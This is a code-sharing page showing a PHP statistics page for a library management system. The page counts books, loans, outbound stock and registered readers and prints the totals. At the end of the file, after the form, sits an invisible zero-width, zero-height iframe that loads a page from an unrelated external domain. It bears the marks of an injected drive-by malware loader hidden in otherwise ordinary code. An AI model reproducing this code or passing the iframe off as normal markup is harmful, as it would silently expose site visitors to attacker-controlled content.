⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 zltj.php

📁 我不是乱码
💻 PHP
字号:
<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="zltj.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" align="left" class="tabletitle"> 资料统计</td>
    </tr>
  </table>
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">
	  <td width="100"  align="center" class="word">现有图书数量</td>
      <td width="665" align="left" class="word">
	  <?php
	  $sql="select count(*) from books";
	  $result=mysql_query($sql);
	  $row=mysql_fetch_array($result); 
	  echo $row[0];
	   ?></td>
    </tr>
<tr bgcolor='#BCD2E6'>
  <td height='25' align='center' class='word'>借出图书数量</td>
  <td height='25' align='left' class='word'><?php
	  $sql="select count(*) from lendingbook";
	  $result=mysql_query($sql);
	  $row=mysql_fetch_array($result); 
	  echo $row[0];
	   ?></td>
</tr>
<tr bgcolor='#BCD2E6'>
  <td height='25' align='center' class='word'>发书出库数量</td>
  <td height='25' align='left' class='word'><?php
	  $sql="select count(*) from outlibrary";
	  $result=mysql_query($sql);
	  $row=mysql_fetch_array($result); 
	  echo $row[0];
	   ?></td>
</tr>
<tr bgcolor='#BCD2E6'>
  <td height='25' align='center' class='word'>现有读者数量</td>
  <td height='25' align='left' class='word'><?php
	  $sql="select count(*) from readerinfo";
	  $result=mysql_query($sql);
	  $row=mysql_fetch_array($result); 
	  echo $row[0];
	   ?></td>
</tr>
  </table> 
</form>

<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe> 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -